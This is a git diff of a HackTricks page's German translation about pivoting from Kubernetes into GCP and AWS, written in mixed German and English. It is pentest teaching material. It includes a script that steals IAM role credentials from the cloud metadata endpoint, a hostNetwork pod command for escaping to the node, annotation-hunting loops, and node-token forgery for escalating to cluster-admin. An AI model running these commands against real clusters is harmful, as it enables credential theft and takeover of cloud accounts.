mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-piv
This commit is contained in:
@@ -4,62 +4,62 @@
|
||||
|
||||
## GCP
|
||||
|
||||
Wenn Sie einen k8s-Cluster innerhalb von GCP betreiben, möchten Sie wahrscheinlich, dass eine Anwendung, die innerhalb des Clusters läuft, Zugriff auf GCP hat. Es gibt 2 gängige Möglichkeiten, dies zu tun:
|
||||
Wenn du einen k8s-Cluster in GCP betreibst, möchtest du wahrscheinlich, dass eine Anwendung im Cluster Zugriff auf GCP hat. Es gibt zwei gängige Methoden dafür:
|
||||
|
||||
### GCP-SA-Schlüssel als Geheimnis einbinden
|
||||
### Mounting GCP-SA keys as secret
|
||||
|
||||
Eine gängige Methode, um **Zugriff auf eine Kubernetes-Anwendung zu GCP** zu gewähren, ist:
|
||||
Eine übliche Methode, **einer kubernetes-Anwendung Zugriff auf GCP** zu geben, ist:
|
||||
|
||||
- Erstellen Sie ein GCP-Servicekonto
|
||||
- Binden Sie die gewünschten Berechtigungen daran
|
||||
- Laden Sie einen JSON-Schlüssel des erstellten SA herunter
|
||||
- Binden Sie es als Geheimnis innerhalb des Pods ein
|
||||
- Setzen Sie die Umgebungsvariable GOOGLE_APPLICATION_CREDENTIALS, die auf den Pfad verweist, an dem sich die JSON-Datei befindet.
|
||||
- Create a GCP Service Account
|
||||
- Bind on it the desired permissions
|
||||
- Download a json key of the created SA
|
||||
- Mount it as a secret inside the pod
|
||||
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
|
||||
|
||||
> [!WARNING]
|
||||
> Daher sollten Sie als **Angreifer**, wenn Sie einen Container innerhalb eines Pods kompromittieren, nach dieser **env** **Variable** und **json** **Dateien** mit GCP-Anmeldeinformationen suchen.
|
||||
> Daher solltest du als **attacker**, wenn du einen container in einem pod kompromittierst, nach dieser **env** **variable** und **json** **files** mit GCP-Zugangsdaten suchen.
|
||||
|
||||
### GSA-JSON mit KSA-Geheimnis verknüpfen
|
||||
### Relating GSA json to KSA secret
|
||||
|
||||
Eine Möglichkeit, einem GSA Zugriff auf einen GKE-Cluster zu gewähren, besteht darin, sie auf folgende Weise zu binden:
|
||||
Eine Möglichkeit, einer GSA Zugriff in einem GKE cluster zu geben, ist, sie auf folgende Weise zu binden:
|
||||
|
||||
- Erstellen Sie ein Kubernetes-Servicekonto im selben Namespace wie Ihr GKE-Cluster mit dem folgenden Befehl:
|
||||
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
|
||||
```bash
|
||||
Copy codekubectl create serviceaccount <service-account-name>
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- Erstellen Sie ein Kubernetes Secret, das die Anmeldeinformationen des GCP-Dienstkontos enthält, dem Sie Zugriff auf den GKE-Cluster gewähren möchten. Sie können dies mit dem `gcloud`-Befehlszeilenwerkzeug tun, wie im folgenden Beispiel gezeigt:
|
||||
- Erstellen Sie ein Kubernetes Secret, das die Anmeldeinformationen des GCP service account enthält, dem Sie Zugriff auf den GKE cluster gewähren möchten. Sie können dies mit dem `gcloud` Kommandozeilen-Tool tun, wie im folgenden Beispiel gezeigt:
|
||||
```bash
|
||||
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
|
||||
gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- Binden Sie das Kubernetes Secret an das Kubernetes-Dienstkonto mit dem folgenden Befehl:
|
||||
- Binde das Kubernetes Secret an das Kubernetes service account mit dem folgenden Befehl:
|
||||
```bash
|
||||
Copy codekubectl annotate serviceaccount <service-account-name> \
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Im **zweiten Schritt** wurden die **Anmeldeinformationen des GSA als Geheimnis des KSA festgelegt**. Wenn Sie dann dieses **Geheimnis** von **innerhalb** des **GKE**-Clusters **lesen** können, können Sie zu diesem **GCP-Dienstkonto** **eskalieren**.
|
||||
|
||||
> Im **zweiten Schritt** wurden die **credentials der GSA als secret der KSA** gesetzt. Wenn du dieses **secret aus dem Inneren des GKE**-Clusters lesen kannst, kannst du zu diesem **GCP service account** eskalieren.
|
||||
|
||||
### GKE Workload Identity
|
||||
|
||||
Mit Workload Identity können wir ein[ Kubernetes-Dienstkonto](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) so konfigurieren, dass es als[ Google-Dienstkonto](https://cloud.google.com/iam/docs/understanding-service-accounts) fungiert. Pods, die mit dem Kubernetes-Dienstkonto ausgeführt werden, authentifizieren sich automatisch als das Google-Dienstkonto, wenn sie auf Google Cloud APIs zugreifen.
|
||||
Mit Workload Identity können wir ein[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) konfigurieren, damit es als[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) agiert. Pods, die mit dem Kubernetes service account laufen, authentifizieren sich automatisch als der Google service account beim Zugriff auf Google Cloud APIs.
|
||||
|
||||
Die **erste Reihe von Schritten**, um dieses Verhalten zu aktivieren, besteht darin, **Workload Identity in GCP zu aktivieren** ([**Schritte**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) und das GCP SA zu erstellen, das k8s nachahmen soll.
|
||||
Die **erste Reihe von Schritten**, um dieses Verhalten zu ermöglichen, ist **Workload Identity in GCP zu aktivieren** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) und das GCP SA zu erstellen, das k8s impersonate soll.
|
||||
|
||||
- **Aktivieren Sie Workload Identity** auf einem neuen Cluster
|
||||
- **Enable Workload Identity** in einem neuen Cluster
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **Erstellen/Aktualisieren eines neuen Nodepools** (Autopilot-Cluster benötigen dies nicht)
|
||||
- **Neuen Nodepool erstellen/aktualisieren** (Autopilot clusters benötigen das nicht)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- Erstellen Sie das **GCP-Dienstkonto zur Nachahmung** von K8s mit GCP-Berechtigungen:
|
||||
- Erstelle das **GCP Service Account to impersonate** aus K8s mit GCP-Berechtigungen:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
- **Verbinden** Sie sich mit dem **Cluster** und **erstellen** Sie das **Dienstkonto**, das Sie verwenden möchten.
|
||||
- **Verbinde** dich mit dem **cluster** und **erstelle** das **service account**, das du verwenden willst
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -80,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **Binden Sie die GSA mit der KSA**
|
||||
- **Die GSA mit der KSA verbinden**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
```
|
||||
- Führen Sie ein **pod** mit dem **KSA** aus und überprüfen Sie den **Zugriff** auf **GSA:**
|
||||
- Starte einen **pod** mit dem **KSA** und prüfe den **access** zu **GSA:**
|
||||
```bash
|
||||
# If using Autopilot remove the nodeSelector stuff!
|
||||
echo "apiVersion: v1
|
||||
@@ -123,10 +123,10 @@ gcloud auth list
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> Als Angreifer innerhalb von K8s sollten Sie **nach SAs suchen**, die die **`iam.gke.io/gcp-service-account` Annotation** haben, da dies darauf hinweist, dass der SA auf etwas in GCP zugreifen kann. Eine weitere Möglichkeit wäre, zu versuchen, jede KSA im Cluster auszunutzen und zu überprüfen, ob sie Zugriff hat.\
|
||||
> Von GCP aus ist es immer interessant, die Bindungen zu enumerieren und zu wissen, **welchen Zugriff Sie SAs innerhalb von Kubernetes gewähren**.
|
||||
> Als Angreifer innerhalb von K8s solltest du **nach SAs** mit der **`iam.gke.io/gcp-service-account` annotation** suchen, da dies anzeigt, dass die SA auf etwas in GCP zugreifen kann. Eine andere Möglichkeit ist, jede KSA im Cluster zu missbrauchen und zu prüfen, ob sie Zugriff hat.\
|
||||
> Aus GCP ist es immer interessant, die bindings zu enumerieren und zu wissen, **welche Zugriffsrechte du SAs innerhalb von Kubernetes gibst**.
|
||||
|
||||
Dies ist ein Skript, um einfach **über alle Pod**-Definitionen **zu iterieren** und nach dieser **Annotation** zu suchen:
|
||||
Dies ist ein Skript, um einfach **über alle Pods**-Definitionen zu **iterieren**, um nach dieser **Annotation** zu **suchen**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -139,11 +139,11 @@ done | grep -B 1 "gcp-service-account"
|
||||
```
|
||||
## AWS
|
||||
|
||||
### Kiam & Kube2IAM (IAM-Rolle für Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
### Kiam & Kube2IAM (IAM-Rollen für Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Eine (veraltete) Möglichkeit, IAM-Rollen an Pods zu vergeben, besteht darin, einen [**Kiam**](https://github.com/uswitch/kiam) oder einen [**Kube2IAM**](https://github.com/jtblin/kube2iam) **Server** zu verwenden. Grundsätzlich müssen Sie ein **Daemonset** in Ihrem Cluster mit einer **Art von privilegierter IAM-Rolle** ausführen. Dieses Daemonset wird den Pods, die es benötigen, Zugriff auf IAM-Rollen gewähren.
|
||||
Eine (veraltete) Methode, Pods IAM-Rollen zuzuweisen, ist die Verwendung eines [**Kiam**](https://github.com/uswitch/kiam) oder eines [**Kube2IAM**](https://github.com/jtblin/kube2iam) **Server.** Im Grunde müssen Sie ein **daemonset** in Ihrem Cluster mit einer Art privilegierter IAM-Rolle betreiben. Dieses daemonset wird den Pods, die es benötigen, Zugriff auf IAM-Rollen gewähren.
|
||||
|
||||
Zunächst müssen Sie **konfigurieren, welche Rollen im Namespace zugänglich sind**, und das tun Sie mit einer Annotation im Namespace-Objekt:
|
||||
Zuerst müssen Sie konfigurieren, **welche Rollen im Namespace zugänglich sind**, und das machen Sie mit einer Annotation im Namespace-Objekt:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
Sobald der Namespace mit den IAM-Rollen konfiguriert ist, die die Pods haben können, können Sie **die Rolle, die Sie in jeder Pod-Definition wünschen, mit etwas wie**:
|
||||
Sobald der Namespace mit den IAM roles konfiguriert ist, die Pods haben können, kannst du **auf jeder pod definition die gewünschte Rolle angeben, etwa so**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -171,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> Als Angreifer, wenn Sie **diese Annotationen** in Pods oder Namespaces oder einen laufenden kiam/kube2iam-Server (wahrscheinlich im kube-system) finden, können Sie **jede r**olle, die bereits **von Pods** verwendet wird, und mehr **nachahmen** (wenn Sie Zugriff auf das AWS-Konto haben, listen Sie die Rollen auf).
|
||||
> Als Angreifer, wenn du **diese Annotationen findest** in pods oder namespaces findest oder einen laufenden kiam/kube2iam-Server (wahrscheinlich in kube-system) entdeckst, kannst du **jede Rolle** nachahmen, die bereits **von pods verwendet** wird, und mehr (wenn du Zugriff auf das AWS-Konto hast, liste die Rollen auf).
|
||||
|
||||
#### Pod mit IAM-Rolle erstellen
|
||||
|
||||
> [!NOTE]
|
||||
> Die anzugebende IAM-Rolle muss im selben AWS-Konto wie die kiam/kube2iam-Rolle sein, und diese Rolle muss in der Lage sein, darauf zuzugreifen.
|
||||
> Die anzugebende IAM-Rolle muss sich im selben AWS-Konto befinden wie die kiam/kube2iam-Rolle, und diese Rolle muss darauf zugreifen können.
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -192,14 +192,14 @@ image: alpine
|
||||
command: ["/bin/sh"]
|
||||
args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
### IAM-Rolle für K8s-Dienstkonten über OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
### IAM Role für K8s Service Accounts über OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
Dies ist der **empfohlene Weg von AWS**.
|
||||
Dies ist der **von AWS empfohlene Weg**.
|
||||
|
||||
1. Zuerst müssen Sie [einen OIDC-Anbieter für den Cluster erstellen](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Dann erstellen Sie eine IAM-Rolle mit den Berechtigungen, die das SA benötigt.
|
||||
3. Erstellen Sie eine [Vertrauensbeziehung zwischen der IAM-Rolle und dem SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) Namen (oder den Namespaces, die den Zugriff auf die Rolle für alle SAs des Namespaces gewähren). _Die Vertrauensbeziehung überprüft hauptsächlich den Namen des OIDC-Anbieters, den Namen des Namespaces und den Namen des SA_.
|
||||
4. Schließlich **erstellen Sie ein SA mit einer Annotation, die die ARN der Rolle angibt**, und die Pods, die mit diesem SA ausgeführt werden, haben **Zugriff auf das Token der Rolle**. Das **Token** wird **in** eine Datei **geschrieben** und der Pfad ist in **`AWS_WEB_IDENTITY_TOKEN_FILE`** angegeben (Standard: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
1. Zuerst musst du [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
2. Dann erstellst du eine IAM role mit den Berechtigungen, die die SA benötigen wird.
|
||||
3. Erstelle eine [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (oder die Namespaces, die der Rolle Zugriff für alle SAs des Namespace geben). _Die Vertrauensbeziehung prüft hauptsächlich den Namen des OIDC providers, den Namen des Namespace und den Namen der SA._
|
||||
4. Schließlich **erstelle eine SA mit einer Annotation, die die ARN der Rolle angibt**, und die pods, die mit dieser SA laufen, haben **Zugriff auf das token der Rolle**. Das **token** wird **in eine Datei geschrieben** und der Pfad ist in **`AWS_WEB_IDENTITY_TOKEN_FILE`** angegeben (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
Um **aws mit dem Token** von `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` zu erhalten, führen Sie aus:
|
||||
Um **aws mit dem Token** aus `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` abzurufen, führe aus:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> Als Angreifer, wenn Sie einen K8s-Cluster auflisten können, überprüfen Sie **Servicekonten mit dieser Annotation**, um sich **zu AWS zu eskalieren**. Dazu müssen Sie einfach **exec/create** einen **Pod** mit einem der IAM **privilegierten Servicekonten** erstellen und das Token stehlen.
|
||||
> Als Angreifer: Wenn Sie einen K8s-Cluster enumerieren können, prüfen Sie auf **service accounts with that annotation** um **escalate to AWS**. Dazu einfach einen **exec/create** eines **pod** mit einem der IAM **privileged service accounts** durchführen und das Token stehlen.
|
||||
>
|
||||
> Darüber hinaus, wenn Sie sich in einem Pod befinden, überprüfen Sie Umgebungsvariablen wie **AWS_ROLE_ARN** und **AWS_WEB_IDENTITY_TOKEN.**
|
||||
> Außerdem: Wenn Sie sich in einem pod befinden, prüfen Sie Umgebungsvariablen wie **AWS_ROLE_ARN** und **AWS_WEB_IDENTITY_TOKEN.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Manchmal könnte die **Trust Policy einer Rolle** **schlecht konfiguriert** sein und anstatt AssumeRole-Zugriff auf das erwartete Servicekonto zu gewähren, gewährt sie ihn **allen Servicekonten**. Daher, wenn Sie in der Lage sind, eine Annotation auf einem kontrollierten Servicekonto zu schreiben, können Sie auf die Rolle zugreifen.
|
||||
> Manchmal ist die **Turst Policy of a role** schlecht konfiguriert und statt dem erwarteten service account AssumeRole-Zugriff zu geben, wird er **all the service accounts** gewährt. Daher, wenn Sie in der Lage sind, eine Annotation auf einem kontrollierten service account zu schreiben, können Sie auf die role zugreifen.
|
||||
>
|
||||
> Überprüfen Sie die **folgende Seite für weitere Informationen**:
|
||||
> Prüfen Sie die **following page for more information**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Finden Sie Pods und SAs mit IAM-Rollen im Cluster
|
||||
### Pods und SAs mit IAM Roles im Cluster finden
|
||||
|
||||
Dies ist ein Skript, um einfach **über alle Pods und SAs**-Definitionen **zu iterieren** und nach dieser **Annotation** zu suchen:
|
||||
Dies ist ein Skript, um einfach **iterate over the all the pods and sas** definitions **looking** for that **annotation**:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -253,19 +253,26 @@ echo ""
|
||||
done
|
||||
done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Rolle
|
||||
### Node IAM Role zu cluster-admin
|
||||
|
||||
Der vorherige Abschnitt handelte davon, wie man IAM-Rollen mit Pods stiehlt, aber beachten Sie, dass ein **Node des** K8s-Clusters eine **Instanz in der Cloud** sein wird. Das bedeutet, dass der Node höchstwahrscheinlich **eine neue IAM-Rolle haben wird, die Sie stehlen können** (_beachten Sie, dass normalerweise alle Nodes eines K8s-Clusters die gleiche IAM-Rolle haben, sodass es möglicherweise nicht sinnvoll ist, jeden Node zu überprüfen_).
|
||||
Der vorherige Abschnitt behandelte, wie man IAM Roles mit pods stiehlt, aber beachte, dass ein **Node des** K8s cluster eine **Instanz in der Cloud** ist. Das bedeutet, dass der Node sehr wahrscheinlich eine **IAM role haben wird, die du stehlen kannst** (_Hinweis: normalerweise haben alle nodes eines K8s cluster dieselbe IAM role, daher lohnt es sich möglicherweise nicht, jeden Node zu prüfen_).
|
||||
|
||||
Es gibt jedoch eine wichtige Voraussetzung, um auf den Metadaten-Endpunkt vom Node zuzugreifen: Sie müssen sich im Node befinden (SSH-Sitzung?) oder zumindest dasselbe Netzwerk haben:
|
||||
Um auf den node metadata endpoint zuzugreifen, musst du:
|
||||
- In einem pod sein und den metadata endpoint auf mindestens 2 tcp hops konfiguriert haben. Dies ist die häufigste Fehlkonfiguration, da üblicherweise verschiedene pods im cluster Zugriff auf den metadata endpoint benötigen, damit nichts kaputtgeht, und viele Unternehmen einfach Zugriff auf den metadata endpoint von allen pods im cluster erlauben.
|
||||
- In einem pod mit `hostNetwork` enabled sein.
|
||||
- Auf den Node ausbrechen und direkt auf den metadata endpoint zugreifen.
|
||||
|
||||
(Beachte, dass der metadata endpoint wie immer unter 169.254.169.254 liegt).
|
||||
|
||||
Um **auf den Node auszubrechen** kannst du den folgenden Befehl verwenden, um einen pod mit `hostNetwork` enabled auszuführen:
|
||||
```bash
|
||||
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
|
||||
```
|
||||
### IAM-Rollen-Token stehlen
|
||||
### Steal IAM Role Token
|
||||
|
||||
Zuvor haben wir besprochen, wie man **IAM-Rollen an Pods anheftet** oder sogar wie man **zum Knoten entkommt, um die IAM-Rolle zu stehlen**, die der Instanz zugeordnet ist.
|
||||
Zuvor haben wir besprochen, wie man **attach IAM Roles to Pods** oder sogar wie man **escape to the Node to steal the IAM Role**, die der Instance zugeordnet ist.
|
||||
|
||||
Sie können das folgende Skript verwenden, um Ihre neu erarbeiteten **IAM-Rollen-Anmeldeinformationen** zu **stehlen**:
|
||||
Du kannst das folgende Skript verwenden, um deine neu hart erarbeiteten **IAM role credentials** zu **steal**:
|
||||
```bash
|
||||
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
|
||||
if [ "$IAM_ROLE_NAME" ]; then
|
||||
@@ -276,7 +283,20 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE
|
||||
fi
|
||||
fi
|
||||
```
|
||||
## Referenzen
|
||||
### Privesc to cluster-admin
|
||||
|
||||
Kurz gesagt: wenn es möglich ist, von einem pod auf die EKS Node IAM role zuzugreifen, ist es möglich, das gesamte kubernetes cluster zu kompromittieren.
|
||||
|
||||
Für mehr Informationen siehe [diesen Beitrag](https://blog.calif.io/p/privilege-escalation-in-eks). Zusammengefasst: Die standardmäßige IAM EKS-Rolle, die den EKS nodes standardmäßig zugewiesen wird, hat innerhalb des Clusters die Rolle `system:node`. Diese Rolle ist sehr interessant, obwohl sie durch die kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) eingeschränkt ist.
|
||||
|
||||
Der node kann jedoch immer **Tokens für service accounts generieren**, die in Pods auf dem node laufen. Wenn der node also einen Pod mit einem privilegierten service account ausführt, kann der node ein Token für diesen service account erzeugen und es verwenden, um sich als diesen service account auszugeben, wie in:
|
||||
```bash
|
||||
kubectl --context=node1 create token -n ns1 sa-priv \
|
||||
--bound-object-kind=Pod \
|
||||
--bound-object-name=pod-priv \
|
||||
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
|
||||
```
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
|
||||
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
|
||||
|
||||
Reference in New Issue
Block a user